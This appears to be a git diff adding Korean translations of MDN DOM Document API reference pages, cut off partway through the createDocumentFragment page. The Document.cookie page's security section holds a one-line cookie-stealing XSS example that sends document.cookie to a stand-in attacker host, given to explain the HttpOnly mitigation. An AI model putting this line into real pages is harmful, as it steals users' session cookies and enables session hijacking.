diff options
| author | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:42:17 -0500 |
|---|---|---|
| committer | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:42:17 -0500 |
| commit | da78a9e329e272dedb2400b79a3bdeebff387d47 (patch) | |
| tree | e6ef8aa7c43556f55ddfe031a01cf0a8fa271bfe /files/ko/web/api/document | |
| parent | 1109132f09d75da9a28b649c7677bb6ce07c40c0 (diff) | |
| download | translated-content-da78a9e329e272dedb2400b79a3bdeebff387d47.tar.gz translated-content-da78a9e329e272dedb2400b79a3bdeebff387d47.tar.bz2 translated-content-da78a9e329e272dedb2400b79a3bdeebff387d47.zip | |
initial commit
Diffstat (limited to 'files/ko/web/api/document')
55 files changed, 5288 insertions, 0 deletions
diff --git a/files/ko/web/api/document/adoptnode/index.html b/files/ko/web/api/document/adoptnode/index.html new file mode 100644 index 0000000000..d2cce901a6 --- /dev/null +++ b/files/ko/web/api/document/adoptnode/index.html @@ -0,0 +1,58 @@ +--- +title: Document.adoptNode() +slug: Web/API/Document/adoptNode +tags: + - API + - DOM + - DOM 레퍼런스 + - 레퍼런스 + - 메소드 +translation_of: Web/API/Document/adoptNode +--- +<div>{{ ApiRef("DOM") }}</div> + +<div> </div> + +<p>외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 <code><a href="/en-US/docs/DOM/Node.ownerDocument" title="DOM/Node.ownerDocument">ownerDocument</a></code> 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다.</p> + +<p><strong>Gecko 1.9 (Firefox 3)부터 지원</strong></p> + +<h2 id="Syntax" name="Syntax">문법</h2> + +<pre class="syntaxbox"><var>node</var> = <em>document</em>.adoptNode(<var>externalNode</var>); +</pre> + +<dl> + <dt><code><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span>node</code></dt> + <dd>는 현재 문서에 삽입될 노드를 의미. 아직 해당 문서에 삽입되기 전이기 때문에 새로운 노드의 <a href="/en-US/docs/DOM/Node.parentNode"><code>parentNode</code></a>는 <code>null이다.</code><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span></dd> + <dt><code>externalNode</code></dt> + <dd>는 노드를 가져오기 위한 외부 문서에 있는 노드를 의미.</dd> +</dl> + +<h2 id="Example" name="Example">예제</h2> + +<p>{{todo}}</p> + +<h2 id="Notes" name="Notes">알아두기</h2> + +<p>보통 <code>adoptNode</code> 호출은 다른 방식으로 구현된 곳에서 노드를 불러오기 때문에 실패하는 경우가 많다. 하지만 브라우저로 인한 문제인 경우는 문제가 된다.</p> + +<p></p><p>Nodes from external documents should be cloned using <a href="/ko/docs/Web/API/Document/importNode" title="현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다."><code>document.importNode()</code></a> (or adopted using <a href="/ko/docs/Web/API/Document/adoptNode" title="외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 ownerDocument 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다."><code>document.adoptNode()</code></a>) before they + can be inserted into the current document. For more on the <a href="/ko/docs/Web/API/Node/ownerDocument" title="Node.ownerDocument 읽기 전용 속성은 이 node 의 최상위 document 객체를 반환합니다."><code>Node.ownerDocument</code></a> issues, see the + <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p> + + <p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many + sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for + improved future compatibility.</p><p></p> + +<h2 id="Specification" name="Specification">명세</h2> + +<ul> + <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Document3-adoptNode">DOM Level 3 Core: Document.adoptNode</a></li> +</ul> + +<h2 id="더_보기">더 보기</h2> + +<ul> + <li><a href="/en-US/docs/DOM/document.importNode">document.importNode</a></li> +</ul> diff --git a/files/ko/web/api/document/alinkcolor/index.html b/files/ko/web/api/document/alinkcolor/index.html new file mode 100644 index 0000000000..9cbfe4a0e1 --- /dev/null +++ b/files/ko/web/api/document/alinkcolor/index.html @@ -0,0 +1,26 @@ +--- +title: document.alinkColor +slug: Web/API/Document/alinkColor +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/alinkColor +--- +<p>{{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">Summary</h3> +<p>{{ Deprecated_header() }} document body에 있는 active link의 색깔을 설정하거나 설정된 값을 리턴합니다. 링크는 <code>mousedown</code> 과 <code>mouseup</code> 이벤트가 발생하는 중간에 활성화(active)됩니다.</p> +<h3 id="Syntax" name="Syntax">Syntax</h3> +<pre class="eval"><i>color</i> = document.alinkColor +document.alinkColor =<i>color</i> +</pre> +<p><code>color</code>는 색깔의 이름을 포함하는 문자열 (e.g., <code>"blue"</code>, <code>"darkblue"</code>, etc.) 혹은 색깔의 16진수 값으로 설정할 수 있습니다(e.g., <code>#0000FF</code>).</p> +<h3 id="Notes" name="Notes">Notes</h3> +<p>The default value for this property in Mozilla Firefox is red (<code>#ee0000</code> in hexadecimal).</p> +<p><code>document.alinkColor</code> is deprecated in <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a>. One alternative is the CSS selector {{ Cssxref(":active") }}.</p> +<p>Another alternative is <code>document.body.aLink</code>, although this is <a class="external" href="http://www.w3.org/TR/html401/struct/global.html#adef-alink">deprecated in HTML 4.01</a> in favor of the CSS alternative.</p> +<p><a href="ko/Gecko">Gecko</a> supports both <code>alinkColor</code>/<code>:active</code> and {{ Cssxref(":focus") }}. Internet Explorer 6 and 7 support <code>alinkColor</code>/<code>:active</code> only for <a href="ko/HTML/Element/a"> HTML anchor (<a>) links</a> and the behavior is the same as <code>:focus</code> under Gecko. There is no support for <code>:focus</code> in IE.</p> +<h3 id="Specification" name="Specification">Specification</h3> +<p>{{ DOM0() }}</p> +<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/alinkcolor.asp">MSDN: alinkColor property</a></p> +<p>{{ languages( { "es": "es/DOM/document.alinkColor", "pl": "pl/DOM/document.alinkColor" } ) }}</p> diff --git a/files/ko/web/api/document/all/index.html b/files/ko/web/api/document/all/index.html new file mode 100644 index 0000000000..e130540cea --- /dev/null +++ b/files/ko/web/api/document/all/index.html @@ -0,0 +1,49 @@ +--- +title: Document.all +slug: Web/API/Document/all +tags: + - API + - DOM + - Document + - HTMLAllCollection + - Property + - Reference + - all +translation_of: Web/API/Document/all +--- +<div>{{APIRef("DOM")}}{{Draft}}{{SeeCompatTable}}</div> + +<p>{{DOMxRef("Document")}} 인터페이스의 read-only <strong><code>all</code></strong> 요소는 document node에 위치한{{DOMxRef("HTMLAllCollection")}} 반환한다. 간단하게 말하면 read-only <strong><code>all</code></strong> 요소는 페이지의 모든 contents를 반환 해준다.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">var <var>htmlAllCollection</var> = document.all;</pre> + +<h3 id="Value">Value</h3> + +<p>{{DOMxRef("HTMLAllCollection")}}는 문서 내에서 모든 node를 담고 있다.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-all', 'all')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Document.all")}}</p> diff --git a/files/ko/web/api/document/anchors/index.html b/files/ko/web/api/document/anchors/index.html new file mode 100644 index 0000000000..3a37425ab9 --- /dev/null +++ b/files/ko/web/api/document/anchors/index.html @@ -0,0 +1,31 @@ +--- +title: document.anchors +slug: Web/API/Document/anchors +tags: + - API + - Deprecated + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/anchors +--- +<div>{{APIRef("DOM")}} {{deprecated_header()}}</div> + +<p>{{domxref("Document")}} 인터페이스의 <strong><code>anchors</code></strong> 읽기 전용 속성은 문서 내의 모든 앵커 목록을 반환합니다.</p> + +<h2 id="Example" name="Example">예제</h2> + +<pre class="brush: html">if ( document.anchors.length >= 5 ) { + dump("dump found too many anchors"); + window.location = "http<span class="nowiki">:</span>//www.google.com"; +} +</pre> + +<h2 id="Notes" name="Notes">알아두기</h2> + +<p>이전 버전과의 호환성을 제공하기 위해, 반환된 anchor들의 목록은 <code>name</code> 속성(attribute)으로 생성된 anchors들만 포함하고 <code>id</code> 속성(attribute)으로 생성된 것들은 포함하지 않습니다.</p> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p>{{Compat("api.Document.anchors")}}</p> diff --git a/files/ko/web/api/document/applets/index.html b/files/ko/web/api/document/applets/index.html new file mode 100644 index 0000000000..25c147849b --- /dev/null +++ b/files/ko/web/api/document/applets/index.html @@ -0,0 +1,30 @@ +--- +title: document.applets +slug: Web/API/Document/applets +tags: + - DOM + - Gecko +translation_of: Web/API/Document/applets +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Summary" name="Summary">요약</h3> + +<p><code>applets</code> document 내의 정렬된 애플릿 목록을 리턴합니다.</p> + +<h3 id="Syntax" name="Syntax">문법</h3> + +<pre class="eval"><em>nodeList</em> = document.applets +</pre> + +<h3 id="Example" name="Example">예제</h3> + +<pre class="eval">// ( 여러분이 원하는 두 번째 애플릿을 알고 있을 때 ) +my_java_app = document.applets[1]; +</pre> + +<h3 id="Specification" name="Specification">명세</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-85113862">DOM 레벨 2 HTML: applets</a></p> + +<p>{{ languages( { "en": "en/DOM/document.applets", "es": "es/DOM/document.applets", "pl": "pl/DOM/document.applets" } ) }}</p> diff --git a/files/ko/web/api/document/body/index.html b/files/ko/web/api/document/body/index.html new file mode 100644 index 0000000000..adc40e872e --- /dev/null +++ b/files/ko/web/api/document/body/index.html @@ -0,0 +1,74 @@ +--- +title: Document.body +slug: Web/API/Document/body +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/body +--- +<div>{{APIRef("DOM")}}</div> + +<p><code><strong>Document.</strong><strong>body</strong></code> 속성은 현재 문서의 {{htmlelement("body")}} 혹은 {{htmlelement("frameset")}} 노드를 나타냅니다. 일치하는 요소가 존재하지 않으면 <code>null</code>을 반환합니다.</p> + +<h2 id="구문">구문</h2> + +<pre>const <em>objRef</em> = document.body +document.body = <em>objRef</em> +</pre> + +<h2 id="Example" name="Example">예제</h2> + +<pre class="brush: js">// HTML: <body id="oldBodyElement"></body> +alert(document.body.id); // "oldBodyElement" + +let aNewBodyElement = document.createElement("body"); + +aNewBodyElement.id = "newBodyElement"; +document.body = aNewBodyElement; +alert(document.body.id); // "newBodyElement"</pre> + +<h2 id="Notes" name="Notes">참고</h2> + +<p><code>Document.body</code>는 문서의 콘텐츠를 수용하는 요소입니다. <code><body></code> 콘텐츠를 가지고 있는 문서는 <code><body></code> 요소를 반환하고, 프레임셋을 가지고 있는 문서는 가장 바깥쪽의 <code><frameset></code> 요소를 반환합니다.</p> + +<p><code>body</code> 속성에 새로운 값을 설정할 수 있긴 하지만, 문서에 새로운 본문을 설정하는건 <code><body></code> 요소가 가지고 있던 모든 자식을 제거하는 것과 같습니다.</p> + +<h2 id="Specification" name="Specification">명세</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성 </h2> + +<p>{{Compat("api.Document.body")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{domxref("Document.head")}}</li> +</ul> diff --git a/files/ko/web/api/document/characterset/index.html b/files/ko/web/api/document/characterset/index.html new file mode 100644 index 0000000000..647c25ab41 --- /dev/null +++ b/files/ko/web/api/document/characterset/index.html @@ -0,0 +1,47 @@ +--- +title: Document.characterSet +slug: Web/API/Document/characterSet +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/characterSet +--- +<div>{{ ApiRef("DOM") }}</div> + +<p><code><strong>Document.characterSet</strong></code> 읽기 전용 속성은 현재 문서가 렌더링에 사용하는 <a href="/en-US/docs/Glossary/character_encoding">문자 인코딩</a>을 반환합니다.</p> + +<div class="note"> +<p><strong>참고:</strong> <code>Document.charset</code>과 <code>Document.inputEncoding</code> 속성은 <code>Document.characterSet</code>의 이전 별칭입니다. 더 이상 사용지 마세요.</p> +</div> + +<h2 id="예제">예제</h2> + +<pre class="brush: html"><button onclick="console.log(document.characterSet);"> + 콘솔에 인코딩 출력 +</button> +<!-- "ISO-8859-1"이나 "UTF-8" 등, 문서의 캐릭터 셋 기록 --> +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Specification</th> + <th>Status</th> + <th>Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p>{{Compat("api.Document.characterSet")}}</p> diff --git a/files/ko/web/api/document/compatmode/index.html b/files/ko/web/api/document/compatmode/index.html new file mode 100644 index 0000000000..8a8a33b2fd --- /dev/null +++ b/files/ko/web/api/document/compatmode/index.html @@ -0,0 +1,64 @@ +--- +title: Document.compatMode +slug: Web/API/Document/compatMode +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/compatMode +--- +<div>{{ApiRef("DOM")}}</div> + +<p><code><strong>Document.compatMode</strong></code> 속성은 문서 렌더링을 <a href="/ko/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">호환 모드</a>에서 진행했는지, 표준 모드에서 진행했는지 나타냅니다.</p> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">const <em>mode</em> = <em>document</em>.compatMode +</pre> + +<h3 id="값">값</h3> + +<p>다음 중 하나.</p> + +<ul> + <li>문서가 호환 모드이면 <code>"BackCompat"</code></li> + <li>문서가 호환 모드가 아니거나("표준") 제한적 호환("거의 표준") 모드이면 <code>"CSS1Compat"</code></li> +</ul> + +<div class="blockIndicator note"> +<p><strong>참고:</strong> 위의 모든 모드는 표준화됐으므로, 오래 전에 사용하던 "표준"과 "거의 표준"이라는 이름은 말이 되지 않아 이제 사용하지 않습니다.</p> +</div> + +<h2 id="예제">예제</h2> + +<pre class="brush: js">if (document.compatMode == "BackCompat") { + // in Quirks mode +} +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '/#dom-document-compatmode','compatMode')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("api.Document.compatMode")}}</p> diff --git a/files/ko/web/api/document/cookie/index.html b/files/ko/web/api/document/cookie/index.html new file mode 100644 index 0000000000..d5cfd2f0d3 --- /dev/null +++ b/files/ko/web/api/document/cookie/index.html @@ -0,0 +1,243 @@ +--- +title: Document.cookie +slug: Web/API/Document/cookie +translation_of: Web/API/Document/cookie +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary"> {{domxref("Document")}} <code>cookie</code> 는 document와 연관된 <a href="/en-US/docs/Web/HTTP/Cookies">cookies</a> 를 읽고 쓸 수 있게 해준다. 쿠키의 실제값에 대한 getter 와 setter로 작동한다.</span></p> + +<h2 id="문법">문법</h2> + +<h3 id="Read_all_cookies_accessible_from_this_location">Read all cookies accessible from this location</h3> + +<pre class="syntaxbox notranslate"><var>allCookies</var> = <var>document</var>.cookie;</pre> + +<p>위 코드에서 <code><var>allCookies</var></code> 세미콜론으로 구분되는 모든 쿠키 리스트의 문자열이다. (다른 말로 <code><var>key</var>=<var>value</var></code>). Note that each <var>key</var> and <var>value</var> may be surrounded by whitespace (space and tab characters): in fact, {{RFC(6265)}} mandates a single space after each semicolon, but some user agents may not abide by this.</p> + +<h3 id="Write_a_new_cookie">Write a new cookie</h3> + +<pre class="syntaxbox notranslate" id="new-cookie_syntax"><var>document</var>.cookie = <var>newCookie</var>;</pre> + +<p>In the code above, <code>newCookie</code> is a string of form <code><var>key</var>=<var>value</var></code>. Note that you can only set/update a single cookie at a time using this method. Consider also that:</p> + +<ul> + <li>Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator: + <ul> + <li id="new-cookie_path"> + <div><code>;path=<var>path</var></code> (e.g., '<code>/</code>', '<code>/mydir</code>') If not specified, defaults to the current path of the current document location.</div> + + <div class="note"><strong>Note:</strong> Prior to {{Gecko("6.0")}}, paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrounding the actual path string. This has been fixed.</div> + </li> + <li id="new-cookie_domain"><code>;domain=<var>domain</var></code> (e.g., '<code>example.com</code>' or '<code>subdomain.example.com</code>'). If not specified, this defaults to the host portion of the current document location. Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots. If a domain is specified, subdomains are always included. + <div class="note"><strong>Note:</strong> The domain <em>must</em> match the domain of the JavaScript origin. Setting cookies to foreign domains will be silently ignored.</div> + </li> + <li id="new-cookie_max-age"><code>;max-age=<var>max-age-in-seconds</var></code> (e.g., <code>60*60*24*365</code> or 31536000 for a year)</li> + <li id="new-cookie_expires"><code>;expires=<var>date-in-GMTString-format</var></code> If neither <code>expires</code> nor <code>max-age</code> specified it will expire at the end of session. + <div class="warning"> + <p>When user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it. Many browsers let users specify that cookies should never expire, which is not necessarily safe.</p> + </div> + + <ul> + <li>See {{jsxref("Date.toUTCString()")}} for help formatting this value.</li> + </ul> + </li> + <li id="new-cookie_secure"><code>;secure</code> Cookie to only be transmitted over secure protocol as https. Before Chrome 52, this flag could appear with cookies from http domains.</li> + <li id="new-cookie_samesite"><code>;samesite</code> <a href="/en-US/docs/Web/HTTP/Cookies#SameSite_cookies">SameSite</a> prevents the browser from sending this cookie along with cross-site requests. Possible values are <code>lax</code>, <code>strict</code> or <code>none</code>. + <ul> + <li>The <code>lax</code> value value will send the cookie for all same-site requests and top-level navigation GET requests. This is sufficient for user tracking, but it will prevent many CSRF attacks. This is the default value in modern browsers.</li> + <li>The <code>strict</code> value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link.</li> + <li>The <code>none</code> value explicitly states no restrictions will be applied. The cookie will be sent in all requests—both cross-site and same-site.</li> + </ul> + </li> + </ul> + </li> + <li>The cookie value string can use {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}} to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).</li> + <li>Some user agent implementations support the following cookie prefixes: + <ul> + <li><code>__Secure-</code> Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.</li> + <li><code>__Host-</code> Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.</li> + </ul> + + <div class="note">The dash is considered part of the prefix.</div> + + <div class="note">These flags are only settable with the <code>secure</code> attribute.</div> + </li> +</ul> + +<div class="note"><strong>Note:</strong> As you can see from the code above, <code>document.cookie</code> is an <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">accessor property</a> with native <em>setter</em> and <em>getter</em> functions, and consequently is <em>not</em> a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">data property</a> with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.</div> + +<h2 id="Examples">Examples</h2> + +<h3 id="Example_1_Simple_usage">Example #1: Simple usage</h3> + +<pre class="brush: js notranslate">document.cookie = "name=oeschger"; +document.cookie = "favorite_food=tripe"; +function alertCookie() { + alert(document.cookie); +} +</pre> + +<pre class="brush: html notranslate"><button onclick="alertCookie()">Show cookies</button> +</pre> + +<p>{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}</p> + +<h3 id="Example_2_Get_a_sample_cookie_named_test2">Example #2: Get a sample cookie named <em>test2</em></h3> + +<pre class="brush: js notranslate">document.cookie = "test1=Hello"; +document.cookie = "test2=World"; + +const cookieValue = document.cookie + .split('; ') + .find(row => row.startsWith('test2')) + .split('=')[1]; + +function alertCookieValue() { + alert(cookieValue); +} +</pre> + +<pre class="brush: html notranslate"><button onclick="alertCookieValue()">Show cookie value</button></pre> + +<p>{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}</p> + +<h3 id="Example_3_Do_something_only_once">Example #3: Do something only once</h3> + +<p>In order to use the following code, please replace all occurrences of the word <code>doSomethingOnlyOnce</code> (the name of the cookie) with a custom name.</p> + +<pre class="brush: js notranslate">function doOnce() { + if (!document.cookie.split('; ').find(row => row.startsWith('doSomethingOnlyOnce'))) { + alert("Do something here!"); + document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT"; + } +}</pre> + +<pre class="brush: html notranslate"><button onclick="doOnce()">Only do something once</button></pre> + +<p>{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}</p> + +<h3 id="Example_4_Reset_the_previous_cookie">Example #4: Reset the previous cookie</h3> + +<pre class="brush: js notranslate">function resetOnce() { + document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; +}</pre> + +<pre class="brush: html notranslate"><button onclick="resetOnce()">Reset only once cookie</button></pre> + +<p>{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}</p> + +<h3 id="Example_5_Check_a_cookie_existence">Example #5: Check a cookie existence</h3> + +<pre class="brush: js notranslate">//ES5 + +if (document.cookie.split(';').some(function(item) { + return item.trim().indexOf('reader=') == 0 +})) { + console.log('The cookie "reader" exists (ES5)') +} + +//ES2016 + +if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) { + console.log('The cookie "reader" exists (ES6)') +} +</pre> + +<h3 id="Example_6_Check_that_a_cookie_has_a_specific_value">Example #6: Check that a cookie has a specific value</h3> + +<pre class="brush: js notranslate">//ES5 + +if (document.cookie.split(';').some(function(item) { + return item.indexOf('reader=1') >= 0 +})) { + console.log('The cookie "reader" has "1" for value') +} + +//ES2016 + +if (document.cookie.split(';').some((item) => item.includes('reader=1'))) { + console.log('The cookie "reader" has "1" for value') +} +</pre> + +<h2 id="Security">Security</h2> + +<p>It is important to note that the <code>path</code> attribute does <em>not</em> protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden {{HTMLElement("iframe")}} element with the path of the cookie, then accessing this iframe's <code>contentDocument.cookie</code> property. The only way to protect the cookie is by using a different domain or subdomain, due to the <a href="/en-US/docs/Same_origin_policy_for_JavaScript">same origin policy</a>.</p> + +<p>Cookies are often used in web application to identify a user and their authenticated session. So stealing the cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -</p> + +<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +</pre> + +<p>The <code>HTTPOnly</code> cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a>.</p> + +<h2 id="Notes">Notes</h2> + +<ul> + <li>Starting with Firefox 2, a better mechanism for client-side storage is available - <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a>.</li> + <li>You can delete a cookie by simply updating its expiration time to zero.</li> + <li>Keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a> if you are going to keep "client-only" data.</li> + <li><a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a> (Section 5.3, "Implementation Limits") specifies that there should be <strong>no maximum length</strong> of a cookie's key or value size, and encourages implementations to support <strong>arbitrarily large cookies</strong>. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.</li> +</ul> + +<p>The reason for the <a href="#Syntax">syntax</a> of the <code>document.cookie</code> accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>):</p> + +<h4 id="The_server_tells_the_client_to_store_a_cookie">The server tells the client to store a cookie</h4> + +<pre class="eval notranslate">HTTP/1.0 200 OK +Content-type: text/html +Set-Cookie: cookie_name1=cookie_value1 +Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT + +[content of the page here]</pre> + +<h4 id="The_client_sends_back_to_the_server_its_cookies_previously_stored">The client sends back to the server its cookies previously stored</h4> + +<pre class="eval notranslate">GET /sample_page.html HTTP/1.1 +Host: www.example.org +Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 +Accept: */* +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td>Initial definition</td> + </tr> + <tr> + <td>{{SpecName("Cookie Prefixes")}}</td> + <td>{{Spec2("Cookie Prefixes")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Document.cookie")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li> + <li><a href="/en-US/docs/Web/Guide/API/DOM/Storage">DOM Storage</a></li> + <li><a href="/en-US/docs/Web/API/URLUtils.pathname"><code>URLUtils.pathname</code></a></li> + <li>{{jsxref("Date.toUTCString()")}}</li> + <li><a href="/ja/docs/Web/HTTP"><code>HTTP</code></a></li> + <li><a href="/en-US/docs/Code_snippets/Cookies">Cookies (code snippets)</a></li> + <li><a href="https://tools.ietf.org/html/rfc2965">RFC 2965</a></li> +</ul> diff --git a/files/ko/web/api/document/createdocumentfragment/index.html b/files/ko/web/api/document/createdocumentfragment/index.html new file mode 100644 index 0000000000..7c4fb33469 --- /dev/null +++ b/files/ko/web/api/document/createdocumentfragment/index.html @@ -0,0 +1,134 @@ +--- +title: Document.createDocumentFragment() +slug: Web/API/Document/createDocumentFragment +translation_of: Web/API/Document/createDocumentFragment +--- +<div>{{ApiRef("DOM")}}</div> + +<p>새로운 빈 {{domxref("DocumentFragment")}} 를 생성합니다.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">var <var>docFragment</var> = document.createDocumentFragment(); +</pre> + +<p><code>docFragment</code> 는 빈 {{domxref("DocumentFragment")}} 객체를 나타냅니다.</p> + +<h2 id="Description">Description</h2> + +<p><code>DocumentFragment</code>s 는 DOM 노드들 입니다. 이것들은 메인 DOM 트리의 일부가 되지 않습니다. 일반적인 유즈 케이스는 다큐먼트 조각을 생성하고, 엘리먼트들을 다큐먼트 조각에 추가하고 그 다큐먼트 조각을 DOM 트리에 추가하는 것입니다. DOM 트리 내에서 다큐먼트 조각은 그것의 모든 자식들로 대체됩니다.</p> + +<p>메모리 내에 다큐먼트 조각이 존재하고 메인 DOM 트리의 일부가 아니라면, 이것에 자식들을 추가하는 것은 페이지 <a href="https://developers.google.com/speed/articles/reflow?csw=1">reflow</a> (엘리먼트의 위치와 좌표의 계산) 를 유발하지 않습니다. 따라서, 다큐먼트 조각을 사용하는 것은 보통 <a href="http://ejohn.org/blog/dom-documentfragments/">better performance</a> 의 결과를 가져옵니다.</p> + +<h2 id="Example">Example</h2> + +<pre class="brush: js">var ul = document.getElementsByTagName("ul")[0]; // assuming it exists +var docfrag = document.createDocumentFragment(); +var browserList = ["Internet Explorer", "Firefox", "Safari", + "Chrome", "Opera"]; + +browserList.forEach(function(e) { + var li = document.createElement("li"); + li.textContent = e; + docfrag.appendChild(li); +}); + +ul.appendChild(docfrag); +// a list with well-known web browsers +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>No change</td> + </tr> + 